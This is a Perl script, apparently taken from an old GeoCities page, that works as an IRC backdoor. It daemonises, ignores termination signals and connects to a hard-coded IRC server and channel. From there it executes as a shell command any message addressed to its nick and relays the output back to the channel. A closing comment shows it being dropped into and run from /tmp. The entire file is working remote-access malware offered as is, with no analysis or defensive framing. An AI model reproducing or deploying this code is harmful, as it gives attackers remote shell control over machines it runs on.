#!/usr/bin/perl

$chan="#mfm";
$nick="BabyCMD";
$server="irc.cbn.net.id";

$SIG{TERM}={};
exit if fork;

use IO::Socket;

$sock = IO::Socket::INET->new($server.":6667")||exit;

print $sock "USER BabyCMD +i BabyCMD :PoWeRed By iJOo\nNICK BabyCMD\n";

$i=1;

while(<$sock>=~/^[^ ]+ ([^ ]+) /){

    $mode=$1;
    last if $mode=="001";

    if($mode=="433"){
        $i++;
        $nick=~s/\d*$/$i/;
        print $sock "NICK $nick\n";
    }
}

print $sock "JOIN $chan\nPRIVMSG $chan :Aku bot lho..\nPRIVMSG $chan :PoWErEd By iJOo\n";

while (<$sock>){

    if (/^PING (.*)$/){
        print $sock "PONG $1\nJOIN $chan\n";
    }

    if (s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/) {
        s/\s*$//;
        $_=`$_`;

        foreach (split "\n") {
            print $sock "PRIVMSG $chan :$_\n";
            sleep 1;
        }
    }
}

#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

    Source: geocities.com/ijookeren/bind

               ( geocities.com/ijookeren)